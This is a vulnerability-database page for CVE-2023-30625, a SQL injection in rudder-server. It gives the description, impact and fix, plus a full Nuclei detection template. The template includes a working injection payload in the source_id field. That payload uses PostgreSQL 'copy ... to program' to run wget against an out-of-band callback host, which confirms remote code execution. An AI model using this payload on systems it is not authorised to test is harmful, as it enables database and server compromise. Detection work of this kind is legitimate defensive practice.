HexBrain

Browse / CVEs / CVE-2023-30625

CVE-2023-30625· rudderstack / rudder-server· CWE-89

Rudder Server < 1.3.0-rc.1 - SQL Injection

highseverity
8.8CVSS score
85.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.

Impact

Authenticated attackers can execute arbitrary SQL commands and potentially achieve remote code execution due to PostgreSQL superuser permissions, leading to complete database and server compromise.

Fix

Upgrade to Rudder Server version 1.3.0-rc.1 or later.

How to confirm it

Send: POST /v1/warehouse/pending-events
Positive when: contains "error getting pending" AND contains in interactsh_protocol "dns" AND status 500

Run it with nuclei: nuclei -id CVE-2023-30625 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-30625

info:
  name: Rudder Server < 1.3.0-rc.1 - SQL Injection
  author: gy741
  severity: high
  description: |
    Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands and potentially achieve remote code execution due to PostgreSQL superuser permissions, leading to complete database and server compromise.
  remediation: |
    Upgrade to Rudder Server version 1.3.0-rc.1 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30625
    - http://packetstormsecurity.com/files/173837/Rudder-Server-SQL-Injection-Remote-Code-Execution.html
    - https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30
    - https://github.com/rudderlabs/rudder-server/commit/2f956b7eb3d5eb2de3e79d7df2c87405af25071e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-30625
    cwe-id: CWE-89
    epss-score: 0.85825
    epss-percentile: 0.9973
    cpe: cpe:2.3:a:rudderstack:rudder-server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rudderstack
    product: rudder-server
  tags: cve,cve2023,packetstorm,rudder,rudderstack,sqli,vkev,vuln
variables:
  cmd: "wget {{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/warehouse/pending-events HTTP/1.1
        Host: {{Hostname}}

        {"source_id": "test'; copy (SELECT '') to program '{{cmd}}'-- - "}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "error getting pending"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from